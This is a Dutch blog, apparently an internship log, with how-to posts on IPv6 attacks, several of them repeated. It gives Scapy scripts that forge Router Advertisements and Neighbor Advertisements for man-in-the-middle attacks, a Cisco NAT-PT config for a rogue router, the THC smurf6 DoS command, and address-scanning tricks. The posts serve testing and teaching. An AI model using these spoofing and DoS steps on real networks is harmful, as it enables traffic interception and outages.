In deze blogpost zal ik de werking van een SLAAC aanval uitleggen en deze later testen op een intern netwerk. Een echte SLAAC aanval bestaat uit nog meer componenten (DHCP, DNS) maar deze worden hier niet in behandeld omdat we een intern netwerk testen om te kijken of deze aanval gewoon al lukt.
In de overgang van IPv4 naar IPv6 zijn er verschillende mogelijkheden om connectie over beiden te behouden. 1 daarvan is de dualstack methode. Dit wil gewoon zeggen dat mijn naast IPv4 ook IPv6 draait en verkeer langs beiden kan hebben. Nu vele OS of machines hebben IPv6 automatisch geenabled en hebben voor IPv6 ook nog eens een voorkeur zodat als men beiden zou draaien vaak traffic langs IPv6 herleid worden.
Nu wat heeft dit met deze aanval te maken? Het probleem is dat velen een volledig werkend IPv4 netwerk draaiende hebben en niet beseffen dat IPv6 standaard werkt. Ook al heb je niets geconfigureerd, de hosts zijn IPv6 "aware" en zullen dus bij eerste Router Advertisement (van een rogue router misschien) hunzelf automatisch configureren (SLAAC). Je kan dan denken, ok dan wordt alle traffic van IPv6 langs daar geroute, maar als dit een volledig werkend (en beveiligd) IPv4 netwerk hebben en er zijn maar heel weinig applicaties puur op IPv6 draaien. Je kan nu natuurlijk andere aanvallen op het netwerk afsturen, maar dit is niet de bedoeling van deze aanval.
Bij deze aanval is het de bedoeling dat je alle IPv4 (& dus ook IPv6) traffic langs je router stuurt, die verbonden is met de rest van hun IPv4 netwerk (of internet). Wat je nog extra nodig hebt is een manier om alle IPv4 netwerk ook nog eens te laten redirecten. De beste manier voor dit is het NAT-PT mechanisme te gebruiken. Dit is een mechanisme om de overgans normaliter makkelijker te maken. Maar dit heeft zoveel security threats dat IETF heeft besloten dit mechanisme als deprecated te beschouwen en wordt niet meer ondersteunt. Dit wil niet zeggen dat wij het niet meer kunnen gebruiken! Het grote voordeel voor ons is dat dit mechanisme automatisch werkt zonder interactie van het slachtoffer. Het zorgt ervoor dat IPv6 hosts naar IPv4 hosts kunnen connectie maken door IPv6 adressen te vertalen in IPv4 adressen. Je ziet dat zo onze IPv6 verbonden hosts hun verkeer langs ons gaan "vertalen" als het ware om te connecteren naar het IPv4 netwerk.
Voor NAT-PT te configureren op een router moet je eerst nat mogelijke maken op de specifieke interface. Vervolgens een pool aanmaken met IPv4 adressen waaruit de vertaling kan bestaan en als laatste een /96 prefix definieren (deze moet overeen komen met de /64 prefix die je gaat uitzenden voor je RA packet om IPv6 te autoconfigureren, zie voorbeeld). Dan zal een adres bestaan uit de /96 gedefineerde prefix en de laatste bits zullen dan bestaan uit het IPv4 adres dat de host hebben toegewezen gekregen.
Als je je router goed geconfigureerd hebt rest ons nog alleen een RA packet te forgen om zo de autoconfiguratie op gang te zetten. Dit kan makkelijk gedaan worden in scapy. Het enige waar specifiek op gelet moet worden is dat de /64 prefix die gedefineerd moet worden hezelfde is al de eerste 64 bits van de gekozen /96 prefix bij de configuratie van NAT-PT.
Even een voorbeeld:
-RA in scapy:
./scapy.py
>>>a = IPv6(dst=LLA)
>>>b= ICMPv6ND_RA()
>>>c = ICMPv6NDOptSrcLLAddr(lladr=SLLA)
>>>d = ICMPv6NDOptMTU()
>>>e = ICMPv6NDOptPrefixInfo(prefixlen = PREFL, prefix = “PREF”)
>>>display(a/b/c/d/e) /* Optional used to check if packet is correctly forged */
>>>send(a/b/c/d/e)
Het paket is onderverdeeld in de verschillende stukken om een beter overzicht te krijgen (je kunt dit natuurlijk omschrijven in een one-liner). Het eerste is een IPv6 pakket met een LLA, het LLA voor deze aanval is een LL Multicast adres om dit naar alle hosts in het IPv4 netwerk te versturen. Dan de aanmaak van een RA packet (b). Vervolgens worden de opties gedefinieerd (c, d). In c wordt het source LLA gedefineerd, dit is ons eigen MAC adres zodat alle traffic langs ons passeert. in e configureer je dan de prefix die de IPv6 adressen van de hosts moeten hebben. Zoals eerder gezegd is dit een /64 adres dat moet overeen komen met de eerste 64 bits van het gekozen /96 adres.
-NAT-PT op je rogue router
/* enables NAT-PT on that interface */
interface ETHPORT
ipv6 nat
/*Sets Dynamic nat for IPv6 to IPv4 */
ipv6 nat v6v4 source list NAT_TRAFFIC pool IPV6_TO_IPV4
/* Specifies the dynamic NAT IPv4 pool */
ipv6 nat v6v4 pool IPV6_TO_IPV4 4ADRRANGEBEGIN 4ADRRANGEEND prefix-length 24
/*Specify the IPv6 NAT prefix */
ipv6 nat prefix PREFNAT
/* ACL to specify traffic eligible for NAT-PT */
ipv6 access-list NAT_TRAFFIC
permit ipv6 any PREFNAT
Zoals je kunt zien is dit geconfigureerd op een cisco systeem. Je kan dit ook op een host configureren zodat je geen 2 devices moet configureren. In dit geval verwijs ik naar de onderstaande link van infosecInstitute men de opvolging van deze aanval uitgebreid uitlegt. Aangezien dit voor studiegerichte doeleinden wordt gebruikt, heb ik gekozen voor een simpele configuratie in een cisco systeem.
Je mag de begin en eind adressen voor de IPv4 pool zelf kiezen. Het enige waar op gelet moet worden is de /96 prefix.
Met deze laatste configuratie kan je de host aansluiten en je zal zien bij het versturen van de RA packet dat de victim hosts een IPv6 adres bezitten dat zijn verkeer via ons herleid. En je hebt een succesvolle MITM aanval van een IPv4 netwerk met een IPv6 overlay!
NOOT: Deze aanval is in het kader van mijn stage opgemaakt voor test redenen. Zoals Dhr. Alec Waters configureert (zie link van infosecinsitute) is veel complexer en uitgebreider met nog DHCPv6 spoofing om effectief met het internet verbonden te kunnen worden en het gebruik van een DNS server. Ik kon natuurlijk gewoon volledig Dhr. Waters zijn aanval overnemen, maar mij leek het interessanter om zelf een vorm van deze aanval uit te voeren die past in het kader van de andere tests. Tevens heeft een een groep researchers van Neophasis labs een tool gecreëerd genaamd Sudden Six om al deze complexe configuratie van Dhr. Waters in enkele minuten te laten overlopen. Nogmaals, hiervoor is niet gekozen omdat ik zelf een beter inzicht in deze aanval wou hebben.
CONCLUSIE:
Deze aanval maakt het mogelijk om zodra je een rogue device in een IPv4 netwerk kan plaatsen een makkelijke overlay te plaatsen van een IPv6 netwerk. Deze aanval is niet zo complex uit te voeren en is vooral destructief voor goed beveiligde IPv4 netwerken die nog niets aan hun IPv6 beveiliging gedaan hebben.
Referenties:
Info over de SLAAC aanval zelf:
- http://resources.infosecinstitute.com/slaac-attack-/
- http://www.informationweek.com/security/vulnerabilities-and-threats/windows-ipv4-networks-vulnerable-to-ipv6-attack/d/d-id/1097153?
- Cisco Press: IPv6 Security by Eric Vyncke (Hoofdstuk over Transitional Threats
RFC:
- http://tools.ietf.org/html/rfc4966
RA packet:
- http://samsclass.info/ipv6/proj/projL3-scapy-ra.html
- http://isc.sans.edu/diary/IPv6+MITM+via+fake+router+advertisements/10660
NAT-PT:
- http://blog.ine.com/2008/04/18/understanding-ipv6-nat-pt/
dinsdag 25 februari 2014
dinsdag 18 februari 2014
HOW TO: Test a Smurf Attack
Een Smurf DoS heeft als bedoeling een host te flooden met netwerk verkeer. Deze soort van aanvallen worden ook wel amplification attacks genoemd aangezien je met weinig resources een doeltreffende DoS kunt uitvoeren. Bij IPv4 zag men dit vaak in samenhang met het broadcast adres. In IPv6 bestaan er geen broadcast adressen meer, maar dit wil niet zeggen dat deze aanval verleden tijd is in IPv6.
In IPv6 wordt er hevig gebruik gemaakt van multicast adressen. Vooral bij ICMPv6 berichten of Neighbor Detection wordt er al snel gebruik gemaakt van deze adressen. Aangezien een multicast adres ook naar meerdere interfaces gelinkt is, dan hebben de aandachtigen al door dat dit ook gebruikt kan worden voor een smurf aanval. Met het aanpassen van bepaalde ICMPv6 paketten kunnen deze gespoofd worden om responses op deze packeten naar het slachtoffer te sturen. Verduidelijking volgt in het voorbeeld.
Als men bijvoorbeeld een ICMPv6 echo request zou versturen naar een slachtoffer, dan wordt infeite het Source adres dat in het de echo request staat gespoofed naar dit van het slachtoffer. Wanneer deze dan naar het FF02::1 multicast adres gestuurd worden (naar alle gelinkte interfaces zoals bijvoorbeeld routers die de message dan nog meer verspreiden). Aangezien de echo request gespoofed is met een verkeerd adres, denken alle hosts die deze echo request hebben gekregen dat het slachtoffer deze gestuurd heeft. En sturen allemaal tegelijk een ICMPv6 echo reply message. Als genoeg pakketten gestuurd worden die dan weer geamplified worden resulteerd dit in een DoS voor het slachtoffer.
Zo een aanval kan makkelijk gesimuleerd worden door verscheidene tools. Zoals de smurf6 tool van THC IPv6 Attack Toolkit.
./smurf6 ETH DSTADR
Dit is het commando om een smurf aanval te beginnen. Waarbij ETH de interface is waarlangs je de aanval wilt sturen (de interface verbonden met het netwerk) en DSTADR het IPv6 adres van het slachtoffer. In een testopstelling zal al de slachtoffer host al snel DoS krijgen.
Je zou ook bijvoorbeeld een pakket zelf kunnen samenstellen in Scapy zoals in de HOW TO over NDP Spoofing.
Hoe zo een aanval tegen te gaan?
De vraag is natuurlijk hoe zo een aanvallen tegen te gaan, aangezien DoS aanvallen de moeilijkste zijn om tegen te houden (vaak worden pakketten gebruikt die anders ook in een legitiem netwerk veel voorkomen). In dit specifiek geval kan je de aanval tegenhouden door geen ICMPv6 pakketten toe telaten die van een (bepaald) multicast adres komen. Tevens kun je in de firewall configureren dat er van bepaalde pakketten (ICMPv6 pakketten bv) maar een bepaald aantal per tijdsspane wordt toegelaten.
NOOT: Deze specifieke aanval lukt wel alleen op bepaalde machines (e.g. Linux machines) aangezien veel hosts automatisch al ICMPv6 die van multicast adressen komen deze tegenhouden.
Referenties:
- http://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904?show=complete-guide-ipv6-attack-defense-33904&cat=detection
- http://tools.ietf.org/html/draft-gont-6man-ipv6-smurf-amplifier-00
- http://tools.ietf.org/html/rfc2463#page-11
- Cisco Press IPv6 Security by Eric Vyncke
In IPv6 wordt er hevig gebruik gemaakt van multicast adressen. Vooral bij ICMPv6 berichten of Neighbor Detection wordt er al snel gebruik gemaakt van deze adressen. Aangezien een multicast adres ook naar meerdere interfaces gelinkt is, dan hebben de aandachtigen al door dat dit ook gebruikt kan worden voor een smurf aanval. Met het aanpassen van bepaalde ICMPv6 paketten kunnen deze gespoofd worden om responses op deze packeten naar het slachtoffer te sturen. Verduidelijking volgt in het voorbeeld.
Als men bijvoorbeeld een ICMPv6 echo request zou versturen naar een slachtoffer, dan wordt infeite het Source adres dat in het de echo request staat gespoofed naar dit van het slachtoffer. Wanneer deze dan naar het FF02::1 multicast adres gestuurd worden (naar alle gelinkte interfaces zoals bijvoorbeeld routers die de message dan nog meer verspreiden). Aangezien de echo request gespoofed is met een verkeerd adres, denken alle hosts die deze echo request hebben gekregen dat het slachtoffer deze gestuurd heeft. En sturen allemaal tegelijk een ICMPv6 echo reply message. Als genoeg pakketten gestuurd worden die dan weer geamplified worden resulteerd dit in een DoS voor het slachtoffer.
Zo een aanval kan makkelijk gesimuleerd worden door verscheidene tools. Zoals de smurf6 tool van THC IPv6 Attack Toolkit.
./smurf6 ETH DSTADR
Dit is het commando om een smurf aanval te beginnen. Waarbij ETH de interface is waarlangs je de aanval wilt sturen (de interface verbonden met het netwerk) en DSTADR het IPv6 adres van het slachtoffer. In een testopstelling zal al de slachtoffer host al snel DoS krijgen.
Je zou ook bijvoorbeeld een pakket zelf kunnen samenstellen in Scapy zoals in de HOW TO over NDP Spoofing.
Hoe zo een aanval tegen te gaan?
De vraag is natuurlijk hoe zo een aanvallen tegen te gaan, aangezien DoS aanvallen de moeilijkste zijn om tegen te houden (vaak worden pakketten gebruikt die anders ook in een legitiem netwerk veel voorkomen). In dit specifiek geval kan je de aanval tegenhouden door geen ICMPv6 pakketten toe telaten die van een (bepaald) multicast adres komen. Tevens kun je in de firewall configureren dat er van bepaalde pakketten (ICMPv6 pakketten bv) maar een bepaald aantal per tijdsspane wordt toegelaten.
NOOT: Deze specifieke aanval lukt wel alleen op bepaalde machines (e.g. Linux machines) aangezien veel hosts automatisch al ICMPv6 die van multicast adressen komen deze tegenhouden.
Referenties:
- http://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904?show=complete-guide-ipv6-attack-defense-33904&cat=detection
- http://tools.ietf.org/html/draft-gont-6man-ipv6-smurf-amplifier-00
- http://tools.ietf.org/html/rfc2463#page-11
- Cisco Press IPv6 Security by Eric Vyncke
maandag 17 februari 2014
Scanning IPv6 address ranges
Deze blogpost zal de problematiek van scanning in een IPv6 netwerk aankaarten. Is scanning echt zo onmogelijk als gedacht werd in IPv6? Of zijn er manieren op het grote aantal IPv6 addressen in een blok toch te enumeren? We zetten het hier even op een rijtje.
Sinds de introductie van IPv6 dachten velen dat het scannen van IPv6 adres blokken vrijwel verleden tijd zou zijn door het gigantisch aantal addressen dat mogelijk was. In een standaard /64 netwerk zijn er theoretisch 2^64 adressen mogelijk. Dit maakt het lukraak scannen van een netwerk onmogelijk. Maar waar staan we nu echt? En hoe verwerkt men dit in de veiligheid van een netwerk?
In mijn opdracht voor mijn stage kon ik al genoeg vinden over mogelijke aanvallen die een IPv6 netwerk kunnen doorbreken. Maar hoe komen de hackers juist aan de juiste informatie om deze aanvallen te lanceren? Het zou volgens experts immers ontelbare jaren duren tegen er 1 adres zou gevonden zijn voor een netwerk. Vooral in het begin van het uitrollen van IPv6 dacht men hier niet zoveel over na.
Intussen weet ik ook wel al beter, er zijn verschillende manieren om het aantal adressen te enumeren zodat er een zeer beperkte keuze uit adressen overblijft (ten opzichte van de 2^64 die mogelijk zijn).
Vele van deze manieren rusten op de "bad" practices die men implementeert in het netwerk. Hier een lijst van een aantal mogelijke manieren van scans.
- DNS Dictionairy Attack: Dit is niet zozeer een scan die IPv6 adressen probeert te bemachtigen, maar sinds er bij IPv6 ook nog altijd DNS zal nodig zijn voor publieke servers (webservers, mail servers). Is dit een handige manier voor aanvallers om hun zoekveld wat te vereenvoudigen. De aanval draait rond het bruteforcen van allemaal mogelijke, veel voorkomende, woorden die vaak gebruikt worden rond het configureren van DNS. In essentie zoeken ze in een DNS domein op vaak voorkomende woorden naar de subdomeinen. Van deze weet je dan hun IP adres en vandaaruit kan je dan nog meer scannen.
- Sequentiële scan: Een netwerk kan ook slecht gesubnet zijn, waarbij de administrator begint bij een bepaald getal (of gewoon het eerste mogelijke, onderaan het adres blok) en zo verder optelt. Dit is zeker een vorm van bad practice want aanvallers kunnen gewoon veel voorkomende blokken van onder naar boven voor een bepaald aantal adressen scannen. Zodra ze 1 adres vinden, vinden ze de rest ook.
- IPv4 adres: Wat vele administrators hanteren in de overgang van IPv4 naar IPv6 is het einde van het IPv6 adres de digits van het IPv4 adres van die interface te geven. Natuurlijk ook een bad practice aangezien als de hacker het IPv4 adres blok zou weten, dit maakt het te scannen aantal adressen even groot als in een IPv4 netwerk. Dit is natuurlijk makkelijk & snel te scannen
-OUI: Als men gebruik maakt van bepaalde merken van servers of virtualizatie software (denk maar aan VMWare). Dan krijgen hun MAC-adressen een Organizationally Unique Identifier mee in hun eerst 24 bits. Als men van de veronderstelling gaat dat ze deze gebruiken voor de conversie naar hun EUI-64 adres, dan weet je meteen al de eerste 40 bits (24 van de OUI & 16 van de conversie bits, FF FE). Nu moet een aanvaller nog maar een range van 24 bits scannen.
Deze technieken kunnen ook in combinatie gebruikt worden e.g. het scannen op OUI & indien de IPv4 range geweten is ook nog eens op de mogelijke IPv4 adressen. Dit verkort je zoekopties naar 2^8 bits die gescand moeten worden!
Vele van deze scans zijn natuurlijk met wat best practices te verijdelen, door manueel de adressen toe te kennen aan de apparaten en zo willekeurig mogelijke adressen te nemen zal je al veel scans stoppen. Maar waar wordt de grens getrokken tussen bij het toekennen van deze adressen? In kleine netwerken is dit geen probleem en makkelijk te halen, maar bij grote bedrijven waar men spreekt van duizenden individuele adressen kan je deze niet allemaal manueel toekennen. Laat staan op een ordelijke manier al deze adressen bijhouden.
Voor mijn opdracht ga ik verschillende aanvallen op een IPv6 netwerk testen en proberen te voorkomen. Maar vandaag bij het opstellen van bepaalde aanvallen rees mij toch ook deze vraag van als ik aan het test gedeelte kom, en ik moet mijn test omgeving opstellen, hoe zal ik hier dan mee omgaan? Waar trek ik zelf de grens in mijn test opstelling tussen het meest veilige en het praktische? Zelfs al is mijn opstelling veel kleiner dan de meeste netwerken in een bedrijf toch dient hier rekening mee gehouden te worden, de testen zijn immers bedoeld om een zo dicht mogelijke benadering van de realiteit weer te geven.
CONCLUSIE:
Zoals we kunnen zien zijn er nog vele mogelijkheden om effectief een volledig IPv6 netwerk te kunnen scannen. Maar het moet gezegd worden dat vele van deze "exploits" eerder aan de nalatigheid van de IT-administrators liggen en de meeste met een beetje goede manuele configuratie kunnen verijdeld worden.
Referenties:
- http://www.ietf.org/rfc/rfc5157.txt
- Cisco Press: IPv6 Security by Eric Vyncke
- http://tools.ietf.org/html/draft-ietf-opsec-ipv6-host-scanning-03
Sinds de introductie van IPv6 dachten velen dat het scannen van IPv6 adres blokken vrijwel verleden tijd zou zijn door het gigantisch aantal addressen dat mogelijk was. In een standaard /64 netwerk zijn er theoretisch 2^64 adressen mogelijk. Dit maakt het lukraak scannen van een netwerk onmogelijk. Maar waar staan we nu echt? En hoe verwerkt men dit in de veiligheid van een netwerk?
In mijn opdracht voor mijn stage kon ik al genoeg vinden over mogelijke aanvallen die een IPv6 netwerk kunnen doorbreken. Maar hoe komen de hackers juist aan de juiste informatie om deze aanvallen te lanceren? Het zou volgens experts immers ontelbare jaren duren tegen er 1 adres zou gevonden zijn voor een netwerk. Vooral in het begin van het uitrollen van IPv6 dacht men hier niet zoveel over na.
Intussen weet ik ook wel al beter, er zijn verschillende manieren om het aantal adressen te enumeren zodat er een zeer beperkte keuze uit adressen overblijft (ten opzichte van de 2^64 die mogelijk zijn).
Vele van deze manieren rusten op de "bad" practices die men implementeert in het netwerk. Hier een lijst van een aantal mogelijke manieren van scans.
- DNS Dictionairy Attack: Dit is niet zozeer een scan die IPv6 adressen probeert te bemachtigen, maar sinds er bij IPv6 ook nog altijd DNS zal nodig zijn voor publieke servers (webservers, mail servers). Is dit een handige manier voor aanvallers om hun zoekveld wat te vereenvoudigen. De aanval draait rond het bruteforcen van allemaal mogelijke, veel voorkomende, woorden die vaak gebruikt worden rond het configureren van DNS. In essentie zoeken ze in een DNS domein op vaak voorkomende woorden naar de subdomeinen. Van deze weet je dan hun IP adres en vandaaruit kan je dan nog meer scannen.
- Sequentiële scan: Een netwerk kan ook slecht gesubnet zijn, waarbij de administrator begint bij een bepaald getal (of gewoon het eerste mogelijke, onderaan het adres blok) en zo verder optelt. Dit is zeker een vorm van bad practice want aanvallers kunnen gewoon veel voorkomende blokken van onder naar boven voor een bepaald aantal adressen scannen. Zodra ze 1 adres vinden, vinden ze de rest ook.
- IPv4 adres: Wat vele administrators hanteren in de overgang van IPv4 naar IPv6 is het einde van het IPv6 adres de digits van het IPv4 adres van die interface te geven. Natuurlijk ook een bad practice aangezien als de hacker het IPv4 adres blok zou weten, dit maakt het te scannen aantal adressen even groot als in een IPv4 netwerk. Dit is natuurlijk makkelijk & snel te scannen
-OUI: Als men gebruik maakt van bepaalde merken van servers of virtualizatie software (denk maar aan VMWare). Dan krijgen hun MAC-adressen een Organizationally Unique Identifier mee in hun eerst 24 bits. Als men van de veronderstelling gaat dat ze deze gebruiken voor de conversie naar hun EUI-64 adres, dan weet je meteen al de eerste 40 bits (24 van de OUI & 16 van de conversie bits, FF FE). Nu moet een aanvaller nog maar een range van 24 bits scannen.
Deze technieken kunnen ook in combinatie gebruikt worden e.g. het scannen op OUI & indien de IPv4 range geweten is ook nog eens op de mogelijke IPv4 adressen. Dit verkort je zoekopties naar 2^8 bits die gescand moeten worden!
Vele van deze scans zijn natuurlijk met wat best practices te verijdelen, door manueel de adressen toe te kennen aan de apparaten en zo willekeurig mogelijke adressen te nemen zal je al veel scans stoppen. Maar waar wordt de grens getrokken tussen bij het toekennen van deze adressen? In kleine netwerken is dit geen probleem en makkelijk te halen, maar bij grote bedrijven waar men spreekt van duizenden individuele adressen kan je deze niet allemaal manueel toekennen. Laat staan op een ordelijke manier al deze adressen bijhouden.
Voor mijn opdracht ga ik verschillende aanvallen op een IPv6 netwerk testen en proberen te voorkomen. Maar vandaag bij het opstellen van bepaalde aanvallen rees mij toch ook deze vraag van als ik aan het test gedeelte kom, en ik moet mijn test omgeving opstellen, hoe zal ik hier dan mee omgaan? Waar trek ik zelf de grens in mijn test opstelling tussen het meest veilige en het praktische? Zelfs al is mijn opstelling veel kleiner dan de meeste netwerken in een bedrijf toch dient hier rekening mee gehouden te worden, de testen zijn immers bedoeld om een zo dicht mogelijke benadering van de realiteit weer te geven.
CONCLUSIE:
Zoals we kunnen zien zijn er nog vele mogelijkheden om effectief een volledig IPv6 netwerk te kunnen scannen. Maar het moet gezegd worden dat vele van deze "exploits" eerder aan de nalatigheid van de IT-administrators liggen en de meeste met een beetje goede manuele configuratie kunnen verijdeld worden.
Referenties:
- http://www.ietf.org/rfc/rfc5157.txt
- Cisco Press: IPv6 Security by Eric Vyncke
- http://tools.ietf.org/html/draft-ietf-opsec-ipv6-host-scanning-03
vrijdag 14 februari 2014
HOW TO: Test NDP Spoofing
In deze kleine how to zal ik uitleggen hoe nu juist NDP spoofing in mekaar zit en hoe men het netwerk kan testen op zo een aanval. Voor deze test maken we gebruik van de scapy.py toolkit. Deze toolkit laat ons toe om zelf pakketjes op te stellen en te versturen naar een specifieke host. De bedoeling bij deze test is een NA (Neighbor Advertisement) pakket te maken en deze te versturen naar een device die een NS (Neighbor Sollicitation) pakket verstuurd.
De Attack gaat als volgt. In IPv6 kan men automatisch devices laten contact met elkaar leggen (en dus ook autoconfiguratie bereiken) via het Neighbor Discovery Protocol. Hierbij wordt door het nieuwe device NS pakketen gemulticast zodat de destination host met een NA pakket antwoord. Als wij nu zelf een pakket opstellen dat een malicious pakket verstuurd, kunnen we alle traffic tussen de nieuwe device en de destination host laten routen langs onze device. Hoe dit gebeurt kunnen we bekijken als we een NA pakket bekijken. Op het moment van het verzenden van de NS pakketen weet men nog niet welk layer 2 adres de destination host heeft (het MAC adres), door in ons pakket het MAC adres naar onze computer te laten verwijzen zal onze device als next hop worden aanzien en hebben we een succesvolle MITM attack uitgevoerd.
We beginnen bij het opstarten van scapy:
./scapy.py
Het eerste wat we moeten doen is ons Ehternet gedeelte invullen. Dit is nodig zodat het pakket weet van welk MAC adres het verzonden wordt, naar welk MAC adres het wordt verzonden. Dit pakket is een standaard Ethernet pakket, met gewoon een destination en source adres en een type field. Dit type field wordt door scapy zelf aangevuld als IPv6 door onze latere configuratie. Je vervangt natuurlijk de ETHDST en ETHSRC naar de respectievelijke MAC adressen
>>>eth=(Ether(dst='ETHDST', src='ETHSRC'))
Volgende stap is het aanmaken van het IPv6 pakket, aangezien een pakket over IPv6 versturen lijkt me dit redelijk noodzakelijk. Dit is ook nodig om verdere pakketten toe te voegen zoals het NA pakket. scapy zal alweer de meeste velden automatisch aanvullen, wij hoeven voor deze test gewoon onze source en destination adressen toe te voegen. Ook weer, 6ADRSRC en 6ADRDST veranders je door de respectievelijke source en destination adressen
>>>ipv6=IPv6(src=’6ADRSRC’, dst’6ADRDST’)
Volgende stap is het NA pakket zelf aanmaken. Hierin wordt weer veel voor ons automatisch aangevuld indien we dit wensen, wij moeten gewoon het tgt veld aanvullen, dit verwijst van welk MAC adres het pakket komt (onze malicious device) en het Reserved field. Dit 6-bit veld MOET door de verzender op 0 geplaatst worden om het pakket succesvol te versturen. Waarna de ontvanger dit pakket negeert. NXTHP is hier ons MAC adres van onze router
>>>na=ICMPv6ND_NA(tgt=’NXTHP’, R=0)
Voor de controle van het pakket heft scapy een handige .display() tool, we zetten gewoon al onze onderdelen in de juiste volgorde.
>>>(ether/ipv6/na/lla).display()
Dit zou er als volgt moeten uitzien:
###[ Ethernet ]###
dst= ETHDST
rc= ETHSRC
type= 0x86dd
###[ IPv6 ]###
version= 6
tc= 0
fl= 0
plen= None
nh= ICMPv6
hlim= 255
src= 6ADRSRC
dst= 6ADRDST
###[ ICMPv6 Neighbor Discovery - Neighbor Advertisement ]###
type= Neighbor Advertisement
code= 0
cksum= 0x0
R= 0
S= 0
O= 1
res= 0x0
tgt= NXTHP
###[ ICMPv6 Neighbor Discovery Option - Destination Link-Layer Address ]###
type= 2
len= 1
lladdr= LLADR
Uiteindelijk rest ons nog gewoon het versturen van het volledige pakket, iface specifieert langs welke interface, loop en inter specifieren dat het pakket iedere 5 seconden 1 keer wordt verzonden:
>>>sendp(eth/ipv6/na/lla, iface=’br0’, loop=1, inter=5)
Als we nu de ethernet poort zouden controleren en kijken naar welke neighbors deze is gelink, zul je zien dat voor de inject het MAC adres nog op de juiste destination host staat, en na het injecteren van het pakket het MAC adres op onze device staat. Wat dus wilt zeggen dat alle traffic succesvol langs ons gerout wordt.
Voor gedetailleerde uitleg over de verschillende pakketen, gelieve de volgende links van IETF te volgen:
http://tools.ietf.org/html/rfc4861#section-4.1
http://tools.ietf.org/rfc/rfc2464.txt
Referenties:
http://packetlife.net/blog/2009/feb/2/ipv6-neighbor-spoofing/
Cisco Press: IPv6 Security by Eric Vynce hoofdstuk over NDP Spoofing
De Attack gaat als volgt. In IPv6 kan men automatisch devices laten contact met elkaar leggen (en dus ook autoconfiguratie bereiken) via het Neighbor Discovery Protocol. Hierbij wordt door het nieuwe device NS pakketen gemulticast zodat de destination host met een NA pakket antwoord. Als wij nu zelf een pakket opstellen dat een malicious pakket verstuurd, kunnen we alle traffic tussen de nieuwe device en de destination host laten routen langs onze device. Hoe dit gebeurt kunnen we bekijken als we een NA pakket bekijken. Op het moment van het verzenden van de NS pakketen weet men nog niet welk layer 2 adres de destination host heeft (het MAC adres), door in ons pakket het MAC adres naar onze computer te laten verwijzen zal onze device als next hop worden aanzien en hebben we een succesvolle MITM attack uitgevoerd.
We beginnen bij het opstarten van scapy:
./scapy.py
Het eerste wat we moeten doen is ons Ehternet gedeelte invullen. Dit is nodig zodat het pakket weet van welk MAC adres het verzonden wordt, naar welk MAC adres het wordt verzonden. Dit pakket is een standaard Ethernet pakket, met gewoon een destination en source adres en een type field. Dit type field wordt door scapy zelf aangevuld als IPv6 door onze latere configuratie. Je vervangt natuurlijk de ETHDST en ETHSRC naar de respectievelijke MAC adressen
>>>eth=(Ether(dst='ETHDST', src='ETHSRC'))
Volgende stap is het aanmaken van het IPv6 pakket, aangezien een pakket over IPv6 versturen lijkt me dit redelijk noodzakelijk. Dit is ook nodig om verdere pakketten toe te voegen zoals het NA pakket. scapy zal alweer de meeste velden automatisch aanvullen, wij hoeven voor deze test gewoon onze source en destination adressen toe te voegen. Ook weer, 6ADRSRC en 6ADRDST veranders je door de respectievelijke source en destination adressen
>>>ipv6=IPv6(src=’6ADRSRC’, dst’6ADRDST’)
Volgende stap is het NA pakket zelf aanmaken. Hierin wordt weer veel voor ons automatisch aangevuld indien we dit wensen, wij moeten gewoon het tgt veld aanvullen, dit verwijst van welk MAC adres het pakket komt (onze malicious device) en het Reserved field. Dit 6-bit veld MOET door de verzender op 0 geplaatst worden om het pakket succesvol te versturen. Waarna de ontvanger dit pakket negeert. NXTHP is hier ons MAC adres van onze router
>>>na=ICMPv6ND_NA(tgt=’NXTHP’, R=0)
Het laatste gedeelte van ons pakket is een NDOpt waarbij we het Link Layer Adres meegeven. Dit zal wederom ons MAC adres zijn, zodat alle traffic effectief via ons zal worden verstuurd.
>>>lla=ICMPv6NDOptDstLLAddr(lladdr=’LLADR’)
Voor de controle van het pakket heft scapy een handige .display() tool, we zetten gewoon al onze onderdelen in de juiste volgorde.
>>>(ether/ipv6/na/lla).display()
Dit zou er als volgt moeten uitzien:
###[ Ethernet ]###
dst= ETHDST
rc= ETHSRC
type= 0x86dd
###[ IPv6 ]###
version= 6
tc= 0
fl= 0
plen= None
nh= ICMPv6
hlim= 255
src= 6ADRSRC
dst= 6ADRDST
###[ ICMPv6 Neighbor Discovery - Neighbor Advertisement ]###
type= Neighbor Advertisement
code= 0
cksum= 0x0
R= 0
S= 0
O= 1
res= 0x0
tgt= NXTHP
###[ ICMPv6 Neighbor Discovery Option - Destination Link-Layer Address ]###
type= 2
len= 1
lladdr= LLADR
Uiteindelijk rest ons nog gewoon het versturen van het volledige pakket, iface specifieert langs welke interface, loop en inter specifieren dat het pakket iedere 5 seconden 1 keer wordt verzonden:
>>>sendp(eth/ipv6/na/lla, iface=’br0’, loop=1, inter=5)
Als we nu de ethernet poort zouden controleren en kijken naar welke neighbors deze is gelink, zul je zien dat voor de inject het MAC adres nog op de juiste destination host staat, en na het injecteren van het pakket het MAC adres op onze device staat. Wat dus wilt zeggen dat alle traffic succesvol langs ons gerout wordt.
Voor gedetailleerde uitleg over de verschillende pakketen, gelieve de volgende links van IETF te volgen:
http://tools.ietf.org/html/rfc4861#section-4.1
http://tools.ietf.org/rfc/rfc2464.txt
Referenties:
http://packetlife.net/blog/2009/feb/2/ipv6-neighbor-spoofing/
Cisco Press: IPv6 Security by Eric Vynce hoofdstuk over NDP Spoofing
Abonneren op:
Posts (Atom)